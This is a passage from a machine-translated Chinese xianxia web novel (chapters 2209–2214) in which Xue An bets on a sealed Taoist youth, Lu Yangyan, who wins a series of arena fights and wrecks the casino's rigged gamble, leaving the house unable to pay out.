    "Hehe, that''s your own business, Young Master Long!"


    Long Zhan immediately went to bet excitedly.


    But he didn''t notice it. When he turned and left, the corners of Gu Yushan''s mouth raised slightly, and a hint of sarcasm and disdain appeared in his eyes.


    "Seeing the small profit and showing the color, this is the point of determination, no wonder it has not been reused by the family, and can only find a little pitiful value in this casino!"


    With that, Gu Yushan turned his head back and looked at Xue An with interest.


    "It''s you... I''ve been a little bit unable to see through!"


    Just as this Gu Yushan showed great interest in Xue An, in the stands, Yue Qinghuan was also looking at Xue An blankly.


    "Are you sure you want to place a bet on this boy?"


    "of course!"


    "Then can I know why?"


    "Need it?"


    "Of course it needs, because even a blind person can see the huge gap between the two!"


    Xue An smiled, "So this is the reason!"


    Yue Qinghuan was a little confused again, "I still don''t understand!"


    "You have already said that the gap between the two of them can even be seen by a blind man, so how do you think people will bet?"


    "Naturally, the fighter who bought this nickname Killing God will win!"


    "So, if the result is as everyone expected, doesn''t it mean that Zuishenglou has to pay out of his own pockets to compensate everyone? And think about it, this kind of loss-making business, will Zuishenglou do it?"


    Yue Qinghuan finally realized it, "Really..."


    Xue An smiled, no longer paying attention to Yue Qinghuan who was shocked and unspeakable, instead he cast his eyes on the young man on the ring who bowed his head and said nothing, and then whispered softly.


    "Weird breath, and familiar, let me think about it... Could it be Wudang Zhenwu''s breath?"


    When Xue An read the four words, he seemed to feel the inexplicable throbbing in his heart. The young man Huo Ran raised his eyes and looked in Xue An''s direction.


    But at this moment, Xue An and Guang Tongchen can''t see the slightest difference from the outside, so this young man can only return without success.


    Despite this, a trace of doubt still surfaced in his mind.


    what happened?


    Why did you feel a strong sense of snooping just now?


    At this moment, UU reading once again sounded the gong, and the game finally officially started.


    Before the sound of the gong fell, the "killing god" rushed over with a grinning grin.


    "Die me!"


    I have to say that the strength of this "killing god" is indeed strong enough.


    It was just a shock that made the entire audience feel tremendous pressure.


    The feeling is as if a mountain is falling towards you, it is creepy.


    A bright smile appeared on almost everyone''s face.


    Because they have already bought the bargaining chip to kill the **** with a lot of money.


    Although the odds are extremely low, as long as you win, there will still be substantial returns.


    Now it seems that this game is already in sight.


    But the next second, the smiles on these people''s faces all solidified.

 Chapter 2209： Shocking 1 palm

    Because just when this "killing god" was able to rush to the young man, he saw the young man take a step backwards suddenly, then his left hand was in front, and his right hand pushed forward in a seemingly slow but fast manner.


    boom!


    The "killing god" who had just rushed to the front of the young man at an extremely fast speed did not even have time to react, so he flew out at a faster speed.


    Not only that, but when he was in the air, he opened his mouth and vomited blood.


    By the time he landed, he was limp directly on the ground, his joints were broken, as if he was already a useless person.


    This sudden scene stunned everyone.


    Even Long Zhan didn''t expect this battle to end so quickly, so the boss with his mouth opened blankly looked at the young man on the ring, and took a breath of cold air after a while.


    "This strength...Are you sure he is really a fighter you can control?"


    The smile on Gu Yushan''s face is even brighter, "Of course! No matter how powerful people are, they will have desires, and once they have desires, they will have shortcomings, and they can be controlled!"


    Long Zhan took a deep look at Gu Yushan, and suddenly said, "It is indeed one of the 100 ancient schools, even the human nature is so clear!"


    "Isn''t the soldier the same? It''s just that you are calculating the battlefield situation, the human desires we care about!" Gu Yushan said with a smile.


    Long Zhan nodded, Xuanshi said excitedly: "Look at the result of the bet! I really want to know what this kid will look like after losing all his chips!"


    "of course!"


    At the same time, there was a wave of cheers like a tsunami.


    Countless people shouted with excitement.


    "What a great strength!"


    "It''s good to kill, I saw that killing **** was not pleasing to my eyes, so even if I lose this game, I am willing!"


    Although almost everyone bought the teenager and lost, when the situation reversed, no one cared about that chip.


    Because many people who can appear on the third floor actually don''t care about the gains and losses at one time, they care more about stimulation.


    And just that shocking palm made everyone feel excited.


    Only some people who were too greedy, even betting their entire wealth into it, began to cry.


    But their voices soon drowned in the sea of ??cheers.


    At this time, Yue Qinghuan also clapped infinitely with joy, and then excitedly said: "Wow, we won again this time, and because of the odds, we have at least three times the return!"


    Xue An smiled without saying a word.


    "Seriously, I admire you more and more! Why are you so accurate?" Yue Qinghuan said to Xue An.


    "It''s very simple, because I can use my brain!" Xue An said lightly.


    Yue Qinghuan was taken aback for a moment, and then furiously said: "What do you mean? Are you trying to say that I can''t use my brain?"


    "This is what you think, I didn''t say it!"


    Yue Qinghuan was so angry that his feelings for Xue An disappeared instantly.


    Xue An ignored it, but slowly looked towards the ring in the distance, his eyes long and deep.


    Only he had really seen the palm of the boy just now.


    In fact, at the moment of retreat, the muscles of the boy''s whole body were already tightened, and when he blasted out that palm.


    The strength of his whole body was extremely compressed, as if Zhenwu turned over, so he could shatter the whole body bones of this killer **** with one palm.


    But this palm was far less relaxed than others saw. At least Xue An noticed that a small puddle had been accumulated under the boy''s feet in sweat.


    This shows the huge consumption of this palm.


    Despite this, the young man is still cold, even standing there, his posture is as tall as a sword.


    This also made Xue An more and more interested in him.


    Now he can be sure that the power used by the young man is indeed the power of real martial arts. Although there are many differences from the spread of Wudang, he can still be sure that it is the same origin.


    But why does the inheritance of Wudang Zhenwu appear in this outer sky, and why does this young man appear in this Zuisheng Building?


    Just as Xue An was puzzled, in that box, Long Zhan had broken several pieces of exquisite jade madly.


    "How is it possible! He actually bought this young man''s victory, and he won more than me! Is this what you call the next game?" Long Zhan roared.


    Gu Yushan was completely indifferent to Long Zhan''s rage, and even watched indifferently!


    It wasn''t until he completely vented that Gu Yushan said indifferently, "Are you finished?"


    Long Zhan sat down panting, "I just want to hear your explanation now!"


    "Explain what? I can''t control his betting, so if he wins, I can''t help it!"


    "So? Did that pass?" Long Zhan''s voice raised another octave.


    Gu Yushan sneered, "I said a long time ago that this young man is likely to be a master of a thousand skills, so it is not surprising that he has seen through the arrangement just now, as for the past..."


    "Do you think anyone can stop here after you taste the sweetness?"


    Long Zhan was taken aback, "You mean..."


    Gu Yushan looked at the boy on the ring again, "Since he is my killer, it is naturally not that simple!"


    "Now the short-term profit is just a passing flick, and after a while, I will let them vomit back with the profit!"


    There was another gong sound, and the third game was about to start again.


    As for the "killing god" who was defeated in the previous battle, although he was not killed by the boy, he was simply abandoned because his bones were shattered and had become useless.


    When he was thrown into the bottomless beast ditch, no one even looked at him.


    Everything is so cruel.


    This time the newcomer is also a strong and strong man.


    And when he was on the court, he was still bound by a chain, and he was not unlocked until he came on stage.


    "It''s a strangler!"


    "He was released. Today''s gambling game is really getting more and more exciting!"


    There was a commotion in the crowd.


    And this boxer, known as the Strangler, looked at the young man with those extremely cold eyes after he took the stage, UU reading even without the slightest human emotions.


    "Did you kill the killer?"


    The teenager did not speak.


    The strangler opened his mouth wide, showing his mouth full of fangs, and grinned: "Very well, you are enough to be my opponent! I will hang you a little bit, and then make you into the most perfect specimen!"


    At the same time, people started betting wildly again.


    This time, almost half of the people bought the youth victory.


    Half of the people firmly believe that the strangler will once again defend their authority in the ring.


    Yue Qinghuan couldn''t help asking: "Who are we going down this time?"


    Xue An said lightly: "Of course it''s still this boy!"


    "How much?"


    "All!"

 Chapter 2210： Mysterious Boy Zhenwu Fury

    when!


    When the gong symbolizing the official start of the game just sounded, the strangler rushed towards the boy with a grinning smile.


    The speed is really like a ghost.


    Even the many strong men present only felt that there was a flower in front of them, and did not see what was going on at all, this strangulator had already rushed to the young man.


    The young man was also shocked, because at this moment, the distance between him and the strangler was too close, and the young man could even smell the stench in the mouth of the strangler.


    This made him stand up, and then he backed away sharply.


    But at this moment, the strangger grinned.


    "Do you want to run now? It''s too late!"


    As he said, he stretched out his hand and grabbed it, and came straight to the boy''s neck.


    The young man turned his head to the side, and he was able to avoid the blow.


    But this is just the beginning.


    After he dodged this blow, he saw the strangling''s hands suddenly flipped toward him at a strange angle, and then the whole arm stretched like an rubber in an instant, and it was wrapped around the boy again. .


    The boy''s discoloration changed, but the reaction was not unpleasant.


    I saw him take a few steps with a strange rhythm under his feet during this inconvenient time, and then he dodged the attack of the strangulator again dangerously and dangerously.


    Others didn''t notice anything strange, only Xue An''s eyes narrowed slightly after seeing the young man''s footwork, and then chuckled lightly: "Xuantian Gang walk? It''s getting more and more interesting!"


    At this moment, but seeing the young man taking a half step back breathlessly, it was obvious that the dodge just now had seriously consumed his energy.


    But at the moment, the strangler laughed strangely, "Sure enough, there are two, no wonder the idiot who killed the gods will die in your hands, but now... everything is over!"


    Following the voice, seeing the strangler slammed his mouth, the tongue in his mouth protruded directly, turning into a sticky tentacle, and wrapped it towards the boy.


    This time the young man has no way to retreat, because not far behind him is the edge of the ring. If he retreats further, he will most likely fall into the bottomless beast ditch. By then, he will definitely die. Up.


    Therefore, facing the strike of the strangler, the boy took a deep breath, took a step back again, and then slammed forward.


    Boom!


    After a loud noise.


    This tentacle was shaken back alive, and even the strangler took a few steps back.


    But the boy didn''t take much advantage, and saw that he took three steps back in a row, and each step would make deep footprints on the hard ring.


    After he stood firm, the boy''s face was blue and red, and he was obviously injured.


    Seeing this scene, there was a low uproar in the audience.


    Those who bought the Strangler wins can''t help being overjoyed, and then clamoring frantically.


    "Sure enough, Master Strangler is amazing!"


    "Yes, even if someone can win a round by chance, they can''t be the opponent of Master Strangler!"


    In these shouts, the expressions of the people who bet on the teenager became a little ugly.


    Did this match just lose?


    At this time, Yue Qinghuan asked quite nervously: "What should I do? It seems that this young man is about to lose!"


    Xue An laughed lightly, "Don''t make the assertion so early, but watch it first!"


    Just as the audience was noisy, above the ring, the young man looked at the strangulator on the opposite side with a sinking face.


    now.


    The hands and tongue of this strangler all turned into long tentacles, twisting in front of him like a strange snake, but no matter how he walked, the target was all directed at the young man.


    "Jiejie, boy, you can actually survive a face-to-face in front of me. This strength is enough to be proud of!"


    "But then I still advise you to surrender obediently, after all... the only way to reduce your pain when you die!"


    These words poured into the young man''s ears like magic sounds.


    As long as the minds of ordinary people are not firm, they will be shaken by it.


    But the young man seemed unheard of, just staring at him coldly.


    "Looking for death!" The strangler saw deep contempt in the young man''s eyes, which couldn''t help making him angry, and immediately waved three tentacles to attack the young man.


    Facing this menacing blow, many people secretly squeezed a sweat for the teenager.


    Because people often come to kill casinos, who doesn''t know the name of this strangulator.


    He has heard that he has the blood of evil creatures, which can turn a certain part of his body into tentacles, with unpredictable power, and what he likes most is to hang the prey to death, and then make it into a specimen for collection.


    That''s why he would be called a strangler.


    Compared with the horrific reputation of this strangulator, this young man seemed unknown.


    Although he just defeated the Killing God with a single palm, that didn''t prove much.


    After all, in this cruel arena, people have always spoken with strength and brutality.


    Even Yue Qinghuan couldn''t help clenching his fists silently, cheering for this young man.


    But at this moment, the boy closed his eyes suddenly.


    This happened to everyone''s expectations.


    what happened?


    Could it be that this young man knew he was invincible and gave up resistance?


    Before everyone came back to their senses, the young man took a deep breath.


    The breath was so long and profound, it was like a giant swallowing python lurking in his thin body, and the air in the ring was absorbed in an instant.


    Even some people who were close to him felt a strong wind blowing by their ears.


    Seeing this scene, Xue An couldn''t help but burst into brilliance, and said softly: "Zhenwu''s fury?"


    But at this moment, a sign like a shackle suddenly appeared between the boy''s eyebrows.


    As soon as the rune was released, the violent power of the young man instantly dropped by at least 30%.


    Despite this, the boy opened his eyes slowly, his eyes filled with endless coldness and killing intent.


    When exposed to this look, even the strangler known for being ferocious felt a chill in his heart.


    But immediately, he roared: "Pretend to be a god, and die for me!"


    The tentacles drew towards the young man like a whip. The speed was so fast that he could no longer see the shape. UU reading could only hear a sharp whistling sound.


    One can imagine what the consequences would be if they were selected.


    But just when the tentacles were worthy of at least a year ago, the teenager slammed his hands.


    puff!


    A tentacle was caught directly by the boy.


    Immediately afterwards, the boy raised his hand again with a blank face, and grabbed the other tentacles that had been drawn.


    The whole process is an understatement, as simple and natural as breathing.


    The strangler was shocked, "How could it be..."


    He couldn''t believe his eyes.


    But at this moment, he saw that the boy''s arms slammed hard and then shook it back.


    The strangler was directly thrown into the air by the young life, and let out a terrible cry.


    "Ahhhhh..."

 Chapter 2211： Win another game

    He didn''t expect that one day someone could use his tentacles to reversely control himself.


    At this moment, the young man raised his head and drank a word with dignity on his face.


    "kill!"


    The word is like a mountain, and the screams of the strangler stopped instantly.


    Because at this moment, an incomparable force of killing came directly on this strangulator.


    The strangler didn''t even have time to react, so he was directly shattered into blood mist.


    Two bangs.


    It was the sound of the last remaining two tentacles falling onto the ring.


    In addition, the whole person of the strangler has disappeared.


    Everyone stared blankly.


    Some people who were closer to the ring felt a moment of wetness on their faces, and when they touched them with their hands, they were shocked to discover that it was all scattered blood mist.


    In this battle, the boy will win again!


    There was a dead silence at first, and then there was a loud noise like a roaring mountain and a tsunami.


    "How is that possible! That''s the strangler, who was shattered into blood mist so directly?"


    "My God, how strong this young man should be!"


    "Hahahaha killed well, thanks to this boy I bought!"


    For a time, the audience was boiling, with joyful ones, shocked ones, and sad ones.


    But no matter who it was, he showed deep respect for the young man who stood on the ring.


    In the box, Long Zhan also took a breath of air-conditioning, "It''s so strong, and if I''m not mistaken, this boy should be using Taoist methods!"


    "Shao Long has good eyesight, and he is a master of the Taoist Zhenwu line!" Gu Yushan smiled.


    Hearing this, Long Zhan turned his head and looked at Gu Yushan with a very strange look.


    "Why does Young Master Long look at me like this?"


    "Gu Yushan, you have always been shrewd and even called the backstage supporter of Zuisheng Building. How could you do such a stupid thing this time?"


    "I still don''t understand what Long Shao you want to say!" Gu Yushan said with a smile.


    Long Zhan snorted coldly, "Don��t pretend to be confused, you who are the same as the inheritance of the ancient schools, you must not know the horror of Taoism, now you actually imprison a Taoist master here, if this is given by those Taoist lunatics I see, even if your Zuisheng Building is hard at the backstage, you probably have to think about the consequences!"


    Gu Yushan smiled, "That''s good, but Long Shao, you think, since I dared to let him out, why would I not want to come to this?"


    "what do you mean����."


    "I didn''t imprison him from start to finish, everything was requested by him! And what I paid was just some humble price!" Gu Yushan smiled very happy.


    Long Zhan was taken aback.


    Because he really couldn''t imagine what conditions would make such a powerful Taoist master willing to be a boxer in the ring.


    But soon he left these behind, and then stared at Gu Yushan, "Then this battle is over now, and that kid has won a lot of chips again, what are you going to do next?"


    "Don''t worry, you have to eat one bite at a time, right?" Gu Yushan said with a smile.


    "Huh! I just hope you don''t be shackled by yourself! After all... the bargaining chip in the hands of that kid is already an astronomical number. If he is allowed to win again, even your Zuishenglou will have your nerves and bones. Right!" Long Zhan sneered.


    A flash of cold light flashed in Gu Yushan''s eyes, "You don''t have to bother you, Shao Long! Now that I do this, I am sure of it naturally."


    Long Zhan sneered.


    At the same time, on the stand, Yue Qinghuan was already excited about jumping up.


    "Wow, I won again, now our bargaining chips are an astronomical number!"


    Compared with Yue Qinghuan''s excitement, Xue An was much calmer.


    He didn''t even glance at the chips, but focused all his attention on the young man in the ring.


    Despite the distance, Xue An could still see that the teenager was trembling all over at the moment.


    Not only that, but the aura on his body was utterly weakened.


    Obviously, the blow just now put a lot of pressure on him.


    In fact, not only Xue An, but many people have already seen the difference at this moment.


    Everyone knows that after two successive wars, this young man is clearly at the end of the battle.


    According to the normal rules and procedures, he can now go to rest.


    But this time it was very strange. Until now, no one has been on the court to deal with the follow-up. Instead, the teenager is allowed to be independent on the court, as if waiting for something.


    Could it be...


    Many people feel tight.


    At this moment, I heard another gong sound.


    Then, among everyone''s horrified eyes, there was a figure floating on the ring.


    This is a woman.


    And also a very beautiful woman.


    She was wearing a pink dress, her pretty face was full of a slight smile, and she walked lightly and came in styles.


    It feels as if this is going on an outing in the wild.


    And when she appeared on this ring, she was even more incompatible with the surrounding environment.


    Everyone is a little stupid.


    It''s not that women have never appeared in this ring.


    But those women are generally strong men with special skills, all of them are fierce and vicious, and they can''t be compared with the doll-like woman in front of them.


    Long Zhan in the box was taken aback, "Are you sure this is your killer?"


    When he said this, Long Zhan''s expression was full of whether you were joking.


    Gu Yushan didn''t respond to his words this time, just glanced at him faintly, and then cast his gaze on the ring.


    At the same time, Yue Qinghuan in the stands was also confused.


    "What''s the matter? Isn''t this going to fight anymore? Why did you send a little girl up suddenly?"


    Only Xue An looked at this woman with a deep face.


    Because only he can faintly feel how terrible this woman with a beautiful smile is At this moment, this woman is on the ring, and finally her eyes stay on the opposite side. Of the teenager.


    "This little brother, the slave family will fight you in the next battle. I hope you will have pity for you at that time!"


    When she said this, the woman''s tone was soft and weak, which made people feel a desire to protect her.


    Even in the stands, there are many people with less determined power who are obsessed with their faces.


    But the young man was completely unmoved, even frowned slightly, and then took a half step back.


    It feels like avoiding a viper.


    The smile on the woman''s face was a bit unbearable, and her eyelids jumped wildly.


    At the same time, Xue An in the audience suddenly chuckled.


    "What are you laughing at?" Yue Qinghuan asked strangely.


    "It''s nothing, it''s just a little fun!"

 Chapter 2212： 4 ghosts, listen to my orders

    When this battle just started, everyone found the difference.


    Because this time it was the boy who took the lead in deceiving him and launched an attack.


    I saw his footsteps move in unison, and his stature was erratic, which was elusive.


    At the same time, his attacks were extremely tyrannical, and several of the women who were forced to face each other backed away.


    Seeing this scene, the audience couldn''t help but greeted with joy.


    "Ahhhhh, kill her! What I hate the most is beautiful women, please torture him a little bit!" someone yelled frantically.


    As for the others, they are also excited.


    Because of this battle, almost everyone bought the youth victory.


    So when seeing such a one-sided situation, everyone was naturally overjoyed.


    But there are also very few people whose faces have become very solemn.


    Because only they can see what''s going on.


    Uncharacteristically, this young man took the lead in attacking obviously for a reason.


    Most likely because he could no longer support his current state, he was eager to end this battle.


    Otherwise, the longer the delay, the more disadvantaged it is.


    really.


    This woman obviously also saw the teenager''s eagerness, and her coping method was also very simple, that is, procrastination.


    Are you eager to end!


    Then I am not as good as your wish, but dodge left and right, trying my best to consume your energy.


    Not only that, her mouth was not idle when she dodged, she kept smiling and said: "Oh, brother, why are you so cruel? You are going to scare the slaves!"


    The young man didn''t say anything at all, because at this moment, he was supported by a single breath. If once he spoke, the breath was vented, it would be all over!


    But until now, he is also at the end of the battle, in order to end the battle as soon as possible, he finally broke out the final combat power.


    Boom boom boom!


    After a storm of attacks, the woman backed up again and again, and was finally forced to a corner of the ring.


    Seeing that one step back is about to fall into the bottomless abyss.


    The people in the stands were all excited.


    "Come on, just the last step will kill her!"


    "Go harder!"


    But at this moment, the smile on the woman''s face gradually turned cold, and then the brilliance flashed in her eyes.


    "Sifang ghosts, listen to my orders and kill!"


    With an order, the wind blew over the ring, and the black air filled the ring. At the same time, countless ghosts appeared beside the young man and began to attack him frantically.


    Although the individual strength of these ghosts is not very good, there are too many unstoppable numbers, so in just an instant, the power of the young man is eaten up, and he can only barely support it through his own cultivation base.


    Even so, in front of this boundless army of ghosts, the figure of the boy was still shaky like a candle in the wind.


    Everyone was shocked by this shocking reversal.


    "It''s actually a descendant of the ghost family that has long disappeared!"


    "According to legend, these ghost family heirs have been with ghosts since childhood, and they are already half-human and half-ghost monsters!"


    "This young man can be said to be more ill-fortuned!"


    There was a lot of discussion for a while, and everyone secretly squeezed sweat for this young man.


    Naturally, Yue Qinghuan was no exception. She suddenly changed her expression: "It''s broken, we are going to lose! Xue An, what can we do?"


    "What to do? Cold!" Xue An smiled faintly, "and it''s too early to say that it''s too early to win or lose, this is just the beginning!"


    "You mean... there might be a comeback?"


    Yue Qinghuan''s voice just fell, but the situation in the field changed again.


    The young man trapped by the boundless ghost suddenly let out a cold cry.


    "Five-star Zhencai, light Xuanming!"


    The voice just fell, but a bright radiance rose above the young man''s head.


    Wherever they passed, these ghosts all let out a terrible cry, and then turned into flying ashes.


    Now, even the most unseen person can see the identity of the teenager.


    "Oh my god, it''s a Taoist!"


    "Is Zuishenglou crazy? Even Taoists dare to provoke?"


    In the sound of shock, this woman was also hit hard by this move. As she retreated, she opened her mouth and spit out a large mouthful of blood, and then a look of horror appeared in her eyes.


    "Taoist mantra, how is it possible!"


    She is a ghost girl from a ghost family, so she is naturally a rival to Taoism.


    If she knew that the person who was fighting this time was a Taoist, even if she borrowed her courage, she would not dare to do it.


    And just when she was feeling horrified, the pale to almost transparent youth suddenly hit the ground, and the whole person flew up and went straight to the woman.


    The woman was horrified and struggling to move, trying to avoid the boy''s blow.


    But then she realized in despair that no matter how she hid, she couldn''t escape the aura of the boy.


    Is he going to die like this?


    The woman shouted unwillingly in her heart.


    In the box, Long Zhan also saw this scene, and couldn''t help but sneered: "Manager Gu, it looks like your layout is about to fail again!"


    Gu Yushan snorted coldly, and a brilliance suddenly appeared between his eyebrows.


    As soon as this brilliance came out, the young man who was leaping up on the ring flashed a glimmer of brilliance between his eyebrows, and then a chain-shaped rune appeared.


    As soon as this rune came out, the vigor on the boy''s body instantly fell, and fell from the air with a muffled grunt.


    This unexpected scene made the audience exclaim.


    Because no one knows what happened.


    Only Xue An narrowed his eyes slightly and sneered.


    At this time, the young man fell on the ring with a thud, and then fell to the ground on one knee, apparently already a little unsupported.


    Seeing this scene, the woman who originally came from a mortal woman was overjoyed, and then turned around and wanted to escape.


    That''s right.


    Even if she knew that the young man was already at the end of the war, the Taoist suppression of all demons and evils made her dare not even have the heart to resist, and she just wanted to escape here as soon as possible.


    But at this moment, Gu Yushan''s faint voice came in her ears.


    "If you don''t want to die, then step forward and knock down this young man, otherwise if you dare to take another step, I promise you will die miserably."


    The woman was stunned when she heard the words, and then looked at the teenager in the distance, with a look of hesitation on her face.


    "Don''t be afraid, although UUreading boldly stepped forward, he is now sealed by me and is a useless person!" Gu Yushan''s voice sounded again.


    The woman mustered the courage to move forward.


    Everyone in the audience held their breath and watched quietly.


    The young man knelt on the ground, bowed his head and lowered his eyes, unable to see his expression clearly.


    But the more so, the more the woman felt terrified.


    Finally, she came to the young man tremblingly.


    "Do it!" Gu Yushan''s voice rang in her ears.


    The woman bit her lip, and then slowly raised her hand.


    But at this moment, he seemed to feel the killing intent on the woman, and the young man suddenly raised his eyes.


    Although his face was pale to the point of transparency, his eyes were still cold and deep.


    The woman trembled all over and almost screamed.

 Chapter 2213： Statue of Zhenwu Break the Game

    At the same time, Gu Yushan who was remotely commanded in the box also stood up suddenly, and then said coldly: "Lv Yangyan, if you still want your sister to survive, you will lose the battle!"


    The voice turned into divine thought, and it sounded directly in the heart of the young man on the ring.


    After hearing the words "Sister", the divine light in Lu Yangyan''s eyes dimmed instantly.


    "Don''t do it yet!" Gu Yushan shouted to the woman again.


    The woman finally shook her heart, and then slapped her palm down with the wind and mist.


    If this palm were slapped on Lu Yangyan''s head, he would be seriously injured if he did not die.


    But at this moment, Lu Yangyan sighed again in his ear.


    "The descendant of the dignified Zhenwu Taoist school was defeated by an influential ghost girl. If this is passed out, wouldn''t his ancestor be ashamed?"


    As soon as this remark came out, Lu Yangyan''s expression changed, and his eyes became even more brilliant.


    Because these words hit his weakness.


    You must know that he can abandon everything for the sake of his sister, even his dignity, otherwise he would not appear in this killing casino, and would work for Gu Yushan and others.


    But if he is really humiliated and defeated in the hands of a ghost girl, it will really shame his teacher.


    So at this moment, he finally made a decision.


    Just at this moment, the palm of this ghost girl was also taken close.


    boom!


    Just hearing a loud noise, Gui Ji, who originally thought she was going to win, didn''t even have time to hum, and was directly shocked out. If Lu Yangyan hadn''t rushed to respond, just this one could kill her.


    Even so, she almost fell into the bottomless beast ditch.


    This can be said to be far beyond Gu Yushan''s expectations.


    Of course he didn''t know what rang in Lu Yangyan''s ears before.


    But this temporary backlash still made him furious.


    "Lv Yangyan, are you crazy? Do you still want your sister''s life?"


    Lu Yangyan''s eyes flowed, and finally slowly said: "Yes, but I want to lose to the hands of a ghost girl, as a descendant of Zhenwu...I can''t do it!"


    Gu Yushan was almost mad, "Good! Good! Lu Yangyan, you forced me!"


    With this roar.


    The ancient jade mountain in the box is a brilliant masterpiece between the eyebrows.


    At the same time, Lu Yangyan above the ring, the seal shackles between his brows were all revealed.


    The seal was so cruel that it instantly blocked all the aura on Lu Yangyan''s body.


    In an instant, Lu Yangyan completely fell into an ordinary person.


    This ghost girl also knew that if he didn''t do anything at this time, he would be dead.


    So after seeing this opportunity, I rushed forward immediately.


    This series of changes has already caused a commotion in the audience.


    After seeing this scene, it was even more boiling.


    But at the time when Gu Yushan and everyone believed that Lu Yangyan would definitely lose.


    Xue An, who had been sitting on the stands, suddenly raised the tea cup in front of him, and then flicked his finger.


    The teacup disappeared into the void in an instant, and when it reappeared, it had already arrived in front of Lu Yangyan and hit the center of his eyebrows directly.


    Click!


    Countless cracks appeared on the white porcelain cup, and then it collapsed to shreds.


    As it shattered, the seal rune on the center of Lu Yangyan''s eyebrows also began to disintegrate rapidly after a rush of flashes.


    In an instant, the power that had disappeared from Lu Yangyan began to emerge quickly, and it was increasing exponentially upward.


    Gui Ji, who had just rushed halfway, felt the changes on Lu Yangyan''s body, gave a sharp howl, and immediately turned back to her figure to escape.


    But everything is too late.


    But seeing Lu Yangyan''s power reached an extremely tyrannical point in an instant, and quickly gathered together.


    In an instant, a huge virtual image of a mysterious turtle appeared on top of Lu Yangyan''s head.


    The giant tortoise''s eyes closed tightly, with a majestic attitude.


    Gui Ji''s screams became sharper, as if she had seen some extremely terrifying natural enemy, she fleeing wildly.


    But at this moment, Xuan Gui''s closed eyes suddenly opened.


    When the line of sight passed, the figure of this ghost girl melted like ice and snow under the scorching sun, and disappeared into nothing in the blink of an eye.


    After all this was done, the virtual image of this mysterious tortoise still did not disperse, but slowly glanced at everyone present.


    When I met its gaze, no matter how strong it was, I felt a chill deep in my bones.


    In the end, Xuangui fixed his gaze on Xue An and nodded slightly towards him.


    Xue An smiled faintly.


    Only then did Xuangui Xuxiang let out a roar that shook the sky, and then wrapped Lu Yangyan, who seemed to be in solitude, flew up and disappeared.


    When Guanghua completely dissipated, watching the empty arena, the audience was deadly silent.


    Especially the Gu Yushan in the box, he even vomited a few big mouthfuls of blood at this moment, but he didn''t even care to wipe the blood from his mouth, instead staring at the ring, the whole person fell into a petrified state.


    what happened?


    Why did such a big change suddenly occur when something he had planned clearly?


    Who broke the seal between Lu Yangyan''s eyebrows just now?


    This series of questions came to my mind.


    But these are all secondary. What really made Gu Yushan tremble all over, but it was the bargaining chip in this earth-shattering gambling game.


    In the last game, almost everyone bought the youth victory.


    Only a few people like Gu Yushan and Long Zhan bought Guiji.


    It was originally hoped that this gamble could drain everyone''s chips and make a fortune.


    But I didn''t expect that things had changed drastically, and now I actually lost, and I lost miserably.


    Thinking of the terrible consequences, Gu Yushan felt his heart trembled.


    At this moment, but seeing Long Zhan looking at him with a stern face, "Gu Da Butler, didn''t you vowed to say that you will succeed this time? Now please tell me what happened!"


    Gu Yushan was speechless, and he was always eloquent, but at this moment he couldn''t even say a complete sentence.


    "Why? Stop talking? Do you think my Long Family''s bargaining chip is a lie, or do you not even intend to give it an explanation?" Long Zhan simply gritted his teeth and said this.


    Because just under the gambling game, he not only lost all the chips he had won these days, but also lost the principal he had brought.


    How can this not make him furious.


    And that is at this moment, UU reading www. uukanshu.com was full of excitement.


    Countless people cheered and celebrated their victory.


    Yue Qinghuan was even more excited and jumped up directly from Lao Gao, "Xue An, we have won again, and now we have won money and even enough for our Yue family soldiers to pay for a year!"


    It is conceivable that this must be an amazing number.


    Xue An smiled without saying a word. In fact, he really didn''t feel much about the money.


    He just turned his head and looked at the box where Gu Yushan and Long Zhan were.


    Because he knows.


    At this moment, the person hiding behind trying to manipulate the game must have a headache.


    But Xue An guessed wrong this time, because Gu Yushan at the moment did not have a headache.


    Knowing that you can have a headache at least means that you still have a solution.


    At this moment, Gu Yushan, after hearing the cheers outside, only felt a despair like falling into an abyss.

 Chapter 2214： Superb means of exchange storm

    At this moment, the crowd in the stands suddenly became noisy.


    Especially at the chip exchange office, there was a burst of noise.


    "Why don''t you redeem the prize for me?"


    "That''s right, why didn''t I redeem the chips when I won? Do you want to repay the bill?"


    The shouts came one after another, making the situation in the casino gradually chaotic.


    The faces of the people at the chip exchange office were earthy, because they knew the situation best.


    If the exchange is based on the result of the previous battle, then the chips here are simply not enough.


    And if you apply for a transfer from above, the matter can be big.


    Therefore, they are also at a loss for this. The person in charge of the exchange office constantly urged Gu Yushan through the contact rune, and said in an almost imploring tone.


    "Butler, you should think of a way. If you continue like this, it will be a real mess. You ordered you to continue gambling, otherwise I would not dare to do this if I had the courage. Now something has happened. You can''t just leave it alone!"


    Gu Yushan''s complexion was as white as paper.


    The gambling was indeed continued under his instruction before, but in the face of the current situation that is almost riot, even if he is always clever and good at stirring people''s hearts, he can''t help it.


    At the moment, unless you pay enough chips, the matter will definitely not be properly resolved. Fortunately, even the prestige of the entire Zuisheng Building will be ruined.


    By then, I had finished playing.


    After feeling the seriousness of the matter, Gu Yushan''s lips began to tremble, his eyes filled with infinite regret, and then he gritted his teeth abruptly, and a few words came out between his teeth.


    "Pass the order, and drive out the people who are making the most noise!"


    "What? The housekeeper can do this..." The subordinates were also startled.


    Gu Yushan has completely spared it. He just wanted to pass the storm before him first, and talk about the future later.


    Therefore, he said frantically: "Didn''t I hear what I said? Let me blast out the loudest people first!"


    The men still dare not move.


    Long Zhan watched coldly, his face was full of sarcasm and sneer.


    "What do you want to do? No one listens to what I said?" Gu Yushan was almost mad.


    At this very moment, there was a burst of exclamation from outside, and then the situation that was close to boiling before became much quieter.


    This sudden change caused Gu Yushan in the box to immediately turn around and look at it.


    But I saw a woman walking out of the money exchange office.


    A beautiful woman with decent clothes and generous manners.


    When the woman appeared in front of everyone, even the most noisy people before closed their mouths and bowed their heads in respect.


    Because the visitor is one of the backstages of Zuishenglou, He Yunxi, who is respected as the proprietress.


    At this moment, the person in charge of the chip exchange office stood beside He Yunxi profusely, nodding and bowing to explain what had just happened.


    He Yunxi waved his hand at this moment, motioned him not to say much, and then looked around the audience with a smile.


    When the line of sight passed, the audience was completely quiet.


    Then He Yunxi chuckled and said, "I already know what happened just now. You don''t have to be so excited. I always want to bet and lose, and I will never run my bill. There will be no shortage of chips to lose. Your!"


    As she said that, she turned her head to the person in charge and said lightly: "Have you heard everything I said? Now I will start to redeem for everyone one by one. There must be no mistakes, understand?"


    The person in charge quickly wiped off the cold sweat from his forehead, nodded vigorously and said: "Understand!"


